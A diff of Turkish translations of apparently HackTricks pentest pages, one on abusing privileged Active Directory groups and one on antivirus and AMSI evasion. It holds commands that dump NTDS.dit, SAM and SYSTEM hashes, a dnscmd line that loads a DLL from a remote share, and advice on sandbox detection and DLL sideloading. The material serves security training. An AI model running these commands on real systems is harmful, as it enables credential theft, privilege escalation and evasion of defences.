@ -37,7 +44,7 @@ Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak mümkündür.
Bir saldırgan, **AdminSDHolder** grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, o kullanıcıya tüm korunan gruplar üzerinde tam kontrol sağlamış olur. Eğer bu kullanıcının izinleri değiştirilir veya kaldırılırsa, sistemin tasarımı gereği bir saat içinde otomatik olarak geri yüklenir.
Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılan komutlar şunlardır:
Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılacak komutlar şunlardır:
```powershell
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
@ -59,15 +66,15 @@ DC üzerindeki dosyalara erişim, kullanıcı `Server Operators` grubunun bir pa
### Yetki Yükseltme
Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyip değiştirmek mümkündür. Örneğin, `Server Operators` grubu belirli hizmetler üzerinde tam kontrole sahiptir, bu da keyfi komutların yürütülmesine ve yetki yükseltmeye olanak tanır:
Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyip değiştirmek mümkündür. Örneğin, `Server Operators` grubu, belirli hizmetler üzerinde tam kontrol sahibi olup, keyfi komutların yürütülmesine ve yetki yükseltmeye olanak tanır:
```cmd
C:\> .\PsService.exe security AppReadiness
```
Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve yükseltilmiş ayrıcalıklar için hizmetlerin manipülasyonunu sağladığını ortaya koyar.
Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve bu sayede hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilebileceğini ortaya koyar.
## Yedek Operatörleri
## Yedekleme Operatörleri
`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları nedeniyle `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmadan bile, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir.
`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları nedeniyle `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir.
Grup üyelerini listelemek için şunu çalıştırın:
```powershell
@ -124,7 +131,7 @@ robocopy /B F:\Windows\NTDS .\ntds ntds.dit
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```
4. `NTDS.dit` dosyasındaki tüm hash'leri al:
4. `NTDS.dit` dosyasından tüm hash'leri al:
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
@ -149,9 +156,9 @@ DnsAdmins grubunun üyelerini listelemek için:
```powershell
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### Rastgele DLL Yürüt
### Rastgele DLL'yi çalıştır
Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzaktan bir paylaşımdan) yüklemesini sağlamak için şu komutları kullanabilir:
Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzaktan bir paylaşımdan) yüklemesini sağlamak için aşağıdaki gibi komutlar kullanabilir:
```powershell
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
@ -179,10 +186,10 @@ sc.exe \\dc01 start dns
For more details on this attack vector, refer to ired.team.
#### Mimilib.dll
Aynı zamanda, belirli komutları veya ters kabukları çalıştırmak için mimilib.dll kullanmak da mümkündür. [Bu gönderiyi kontrol edin](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) daha fazla bilgi için.
Aynı zamanda, belirli komutları veya ters kabukları çalıştırmak için mimilib.dll kullanmak da mümkündür. Daha fazla bilgi için [bu gönderiyi kontrol edin](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html).
### WPAD Kaydı için MitM
DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak DNS kayıtlarını manipüle ederek Man-in-the-Middle (MitM) saldırıları gerçekleştirebilir. Responder veya Inveigh gibi araçlar, sahtecilik yapmak ve ağ trafiğini yakalamak için kullanılabilir.
### WPAD Record for MitM
DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirmek için DNS kayıtlarını manipüle edebilir. Ağ trafiğini sahtelemek ve yakalamak için Responder veya Inveigh gibi araçlar kullanılabilir.
### Event Log Readers
Üyeler, düz metin şifreler veya komut yürütme detayları gibi hassas bilgilere ulaşarak olay günlüklerine erişebilirler:
@ -192,7 +199,7 @@ Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
```
## Exchange Windows İzinleri
Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubun istismar edilerek ayrıcalık yükseltme teknikleri, Exchange-AD-Privesc GitHub deposunda ayrıntılı olarak açıklanmıştır.
Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubun istismar edilmesiyle ilgili ayrıcalık yükseltme teknikleri, Exchange-AD-Privesc GitHub deposunda ayrıntılı olarak açıklanmıştır.
```powershell
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
@ -201,7 +208,7 @@ Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V Yöneticileri, sanallaştırılmış Etki Alanı Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'leri klonlamayı ve NTDS.dit dosyasından NTLM hash'lerini çıkarmayı içerir.
### Sömürü Örneği
Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komut çalıştırmak için sömürülebilir. Bu, korumalı bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirerek gerçekleştirilir:
Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komut çalıştırmak için sömürülebilir. Bu, korunan bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirerek gerçekleştirilir:
```bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
@ -211,12 +218,12 @@ Note: Hard link exploitation has been mitigated in recent Windows updates.
## Organization Management
**Microsoft Exchange**'in kurulu olduğu ortamlarda, **Organization Management** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm alan kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek **`Exchange Windows Permissions`** grubunu içerir.
**Microsoft Exchange**'in kurulu olduğu ortamlarda, **Organization Management** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm alan kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için kullanılabilecek **`Exchange Windows Permissions`** grubunu içerir.
### Privilege Exploitation and Commands
#### Print Operators
**Print Operators** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Alan Denetleyicisine yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Denetimi'ni (UAC) atlamak gereklidir.
**Print Operators** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Alan Denetleyicisine yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları kullanmak için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Denetimi'ni (UAC) atlamak gereklidir.
Bu grubun üyelerini listelemek için aşağıdaki PowerShell komutu kullanılır:
```powershell
@ -230,22 +237,22 @@ Bu grubun üyelerine Uzak Masaüstü Protokolü (RDP) aracılığıyla PC'lere e
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
Daha fazla bilgi, RDP'yi istismar etme konusunda özel pentesting kaynaklarında bulunabilir.
RDP'yi istismar etme konusunda daha fazla bilgiye özel pentesting kaynaklarında ulaşılabilir.
#### Uzaktan Yönetim Kullanıcıları
Üyeler, **Windows Uzaktan Yönetimi (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin sayımı şu şekilde gerçekleştirilir:
Üyeler **Windows Uzaktan Yönetimi (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin sayımı şu şekilde gerçekleştirilir:
```powershell
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
For exploitation techniques related to **WinRM**, specific documentation should be consulted.
**WinRM** ile ilgili istismar teknikleri için belirli belgeler incelenmelidir.
#### Sunucu Operatörleri
Bu grup, Yedekleme ve Geri Yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmalar gerçekleştirme izinlerine sahiptir. Üyeleri listelemek için verilen komut:
Bu grup, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmalar gerçekleştirme izinlerine sahiptir. Üyeleri listelemek için verilen komut:
```powershell
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
## References <a href="#references" id="references"></a>
## Referanslar <a href="#references" id="references"></a>
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
* [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
@ -262,6 +269,13 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -271,7 +285,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,20 +1,26 @@
# Antivirus (AV) Bypass
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
**Bu sayfa** [**@m2rc\_p**](https://twitter.com/m2rc\_p)** tarafından yazılmıştır!**
## **AV Kaçınma Metodolojisi**
@ -23,39 +29,39 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
### **Statik tespit**
Statik tespit, bir ikili dosyada veya betikte bilinen kötü amaçlı dizeleri veya bayt dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak elde edilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespitlerden kaçınmanın birkaç yolu vardır:
Statik tespit, bilinen kötü amaçlı dizeleri veya bir ikili dosyadaki byte dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak elde edilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespitlerden kaçınmanın birkaç yolu vardır:
* **Şifreleme**
Eğer ikili dosyayı şifrelerseniz, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir tür yükleyiciye ihtiyacınız olacaktır.
Eğer ikili dosyayı şifrelersek, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir tür yükleyiciye ihtiyacınız olacaktır.
* **Obfuscation**
* **Obfuscation (Karmaşıklaştırma)**
Bazen tek yapmanız gereken, ikili dosyanızdaki veya betiğinizdeki bazı dizeleri değiştirmektir, ancak bu, neyi obfuscate etmeye çalıştığınıza bağlı olarak zaman alıcı bir görev olabilir.
Bazen tek yapmanız gereken, ikili dosyanızdaki veya scriptinizdeki bazı dizeleri değiştirmektir, ancak bu, neyi karmaşıklaştırmaya çalıştığınıza bağlı olarak zaman alıcı bir görev olabilir.
* **Özel araçlar**
Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ancak bu çok zaman ve çaba gerektirir.
{% hint style="info" %}
Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla segmente ayırır ve ardından Defender'dan her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
Windows Defender'ın statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla parçaya ayırır ve ardından Defender'a her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya byte'ların tam olarak ne olduğunu size söyleyebilir.
{% endhint %}
Pratik AV Kaçınma hakkında bu [YouTube çalma listesini](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) kontrol etmenizi şiddetle tavsiye ederim.
Bu [YouTube çalma listesine](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) göz atmanızı şiddetle tavsiye ederim, pratik AV Kaçınma hakkında.
### **Dinamik analiz**
Dinamik analiz, AV'nin ikili dosyanızı bir kumanda kutusunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde bir minidump gerçekleştirmek vb.). Bu kısım üzerinde çalışmak biraz daha zor olabilir, ancak kumanda kutularınımak için yapabileceğiniz bazı şeyler var.
Dinamik analiz, AV'nin ikili dosyanızı bir kum havuzunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde bir minidump gerçekleştirmek vb.). Bu kısım üzerinde çalışmak biraz daha zor olabilir, ancak kum havuzlarından kaçınmak için yapabileceğiniz bazı şeyler var.
* **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini aşmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun, birçok AV'nin kumanda kutularının, nasıl uygulandığına bağlı olarak, uyku süresini atlayabilmesidir.
* **Makinenin kaynaklarını kontrol etme** Genellikle kumanda kutuları çalışmak için çok az kaynağa sahiptir (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada oldukça yaratıcı olabilirsiniz, örneğin CPU'nun sıcaklığını veya hatta fan hızlarını kontrol ederek, her şey kumanda kutusunda uygulanmayabilir.
* **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini atlatmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun şu ki, birçok AV'nin kum havuzları, uygulamanın nasıl uygulandığına bağlı olarak uyku süresini atlayabilir.
* **Makinenin kaynaklarını kontrol etme** Genellikle kum havuzlarının çalışacak çok az kaynağı vardır (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada oldukça yaratıcı olabilirsiniz, örneğin CPU'nun sıcaklığını veya hatta fan hızlarını kontrol ederek, her şey kum havuzunda uygulanmayabilir.
* **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızı kapatabilirsiniz.
Microsoft Defender'ın Kumanda Kutusu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kumanda kutusunun içindesiniz demektir, bu nedenle programınızı kapatabilirsiniz.
Microsoft Defender'ın kum havuzu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kum havuzunun içindesiniz demektir, bu nedenle programınızı kapatabilirsiniz.
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>kaynak: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Kumanda kutularına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit)'den bazı gerçekten iyi ipuçları
Kum havuzlarına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit) tarafından verilen bazı diğer gerçekten iyi ipuçları
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanalı</p></figcaption></figure>
@ -63,7 +69,7 @@ Bu yazıda daha önce söylediğimiz gibi, **kamu araçları** sonunda **tespit
Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa daha az bilinen ve aynı zamanda LSASS'ı döken farklı bir projeyi mi kullanabilirsiniz?
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri aşmak için onunla çalışmak bir kabus haline gelir, bu nedenle başarmaya çalıştığınız şey için alternatifler arayın.
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri atlatmak için onunla çalışmak bir kabus haline gelir, bu nedenle başarmaya çalıştığınız şey için alternatifler arayın.
{% hint style="info" %}
Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek gönderimini kapatmayı** unutmayın ve lütfen, cidden, **VIRUSTOTAL'A YÜKLEMEYİN** eğer amacınız uzun vadede kaçınma sağlamaksa. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin.
@ -77,13 +83,13 @@ Bu görüntüde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'd
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me'de normal bir Havoc EXE yüklemesi ile normal bir Havoc DLL karşılaştırması</p></figcaption></figure>
Şimdi DLL dosyalarıyla daha gizli olmanızı sağlayacak bazı hileleri göstereceğiz.
Şimdi DLL dosyalarıyla daha gizli olabileceğiniz bazı hileleri göstereceğiz.
## DLL Sideloading & Proxying
**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır.
**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak, hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır.
DLL Sideloading'e duyarlı programları kontrol etmek için [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell betiğini kullanabilirsiniz:
DLL Sideloading'e duyarlı programları kontrol etmek için [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell scriptini kullanabilirsiniz:
{% code overflow="wrap" %}
```powershell
@ -98,11 +104,11 @@ Bu komut, "C:\Program Files\\" içindeki DLL hijacking'e duyarlı programların
**DLL Hijackable/Sideloadable programları kendiniz keşfetmenizi** şiddetle tavsiye ederim, bu teknik düzgün yapıldığında oldukça gizli, ancak kamuya mal olmuş DLL Sideloadable programları kullanırsanız, kolayca yakalanabilirsiniz.
Sadece bir programın yüklemeyi beklediği isimde kötü niyetli bir DLL yerleştirmek, yüklemenizi çalıştırmaz, çünkü program o DLL içinde bazı belirli işlevler bekler. Bu sorunu çözmek için, **DLL Proxying/Forwarding** adı verilen başka bir teknik kullanacağız.
Kötü niyetli bir DLL'yi, bir programın yüklemeyi beklediği isimle yerleştirmek, yüklemenizi çalıştırmaz, çünkü program o DLL içinde bazı belirli işlevler bekler. Bu sorunu çözmek için, **DLL Proxying/Forwarding** adı verilen başka bir teknik kullanacağız.
**DLL Proxying**, bir programın proxy (ve kötü niyetli) DLL'den orijinal DLL'ye yaptığı çağrıları yönlendirir, böylece programın işlevselliğini korur ve yüklemenizin yürütülmesini yönetebilir.
**DLL Proxying**, bir programın proxy (ve kötü niyetli) DLL'den orijinal DLL'ye yaptığı çağrıları ileterek, programın işlevselliğini korur ve yüklemenizin yürütülmesini yönetebilir.
[@flangvik](https://twitter.com/Flangvik/) tarafından [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projesini kullanacağım.
[@flangvik](https://twitter.com/Flangvik/) tarafından yapılan [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projesini kullanacağım.
Aşağıda izlediğim adımlar:
@ -151,12 +157,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Kaçış, sadece bir kedi ve fare oyunudur, bugün işe yarayan yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin.
Kaçış, sadece bir kedi ve fare oyunudur, bugün işe yarayan bir şey yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin.
{% endhint %}
## AMSI (Kötü Amaçlı Yazılım Tarama Arayüzü)
AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Fileless\_malware)"ı önlemek için oluşturulmuştur. Başlangıçta, AV'ler yalnızca **diskteki dosyaları** tarayabiliyordu, bu yüzden eğer bir şekilde yükleri **doğrudan bellek içinde** çalıştırabiliyorsanız, AV bunu önlemek için hiçbir şey yapamazdı, çünkü yeterli görünürlüğe sahip değildi.
AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Fileless\_malware)"ı önlemek için oluşturulmuştur. Başlangıçta, antivirüsler yalnızca **diskteki dosyaları** tarayabiliyordu, bu nedenle bir şekilde yükleri **doğrudan bellek içinde** çalıştırabiliyorsanız, antivirüs bunu önlemek için hiçbir şey yapamazdı, çünkü yeterli görünürlüğe sahip değildi.
AMSI özelliği, Windows'un bu bileşenlerine entegre edilmiştir.
@ -182,11 +188,11 @@ AMSI'yi aşmanın birkaç yolu vardır:
AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespiti aşmanın iyi bir yolu olabilir.
Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu yüzden karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmez. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmektir ve bu durumda iyi olursunuz, bu da bir şeyin ne kadar işaretlendiğine bağlıdır.
